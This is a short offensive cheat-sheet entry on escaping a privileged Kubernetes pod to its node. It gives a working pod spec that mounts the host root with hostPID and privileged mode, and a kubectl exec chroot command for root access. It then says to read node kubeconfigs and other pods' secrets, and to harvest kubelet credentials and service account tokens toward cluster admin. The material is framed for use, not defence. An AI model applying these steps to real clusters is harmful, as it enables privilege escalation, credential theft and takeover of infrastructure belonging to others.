Escape a privileged pod to the node

If you can run a privileged pod, or one with hostPID and a host mount, you break out to the node trivially.

yaml
spec:
  hostPID: true
  containers:
  - image: alpine
    securityContext: { privileged: true }
    volumeMounts: [{ name: host, mountPath: /host }]
  volumes: [{ name: host, hostPath: { path: / } }]

Then chroot into the host and act as root on the node.

bash
kubectl exec -it escape -- chroot /host bash
# read /var/lib/kubelet, node kubeconfig, other pods' secrets

Pro note: even without privileged, capabilities like SYS_ADMIN, a mounted docker.sock, or hostPath to /var/run enable escape. From the node, harvest the kubelet credentials and other pods’ service account tokens to move toward cluster admin.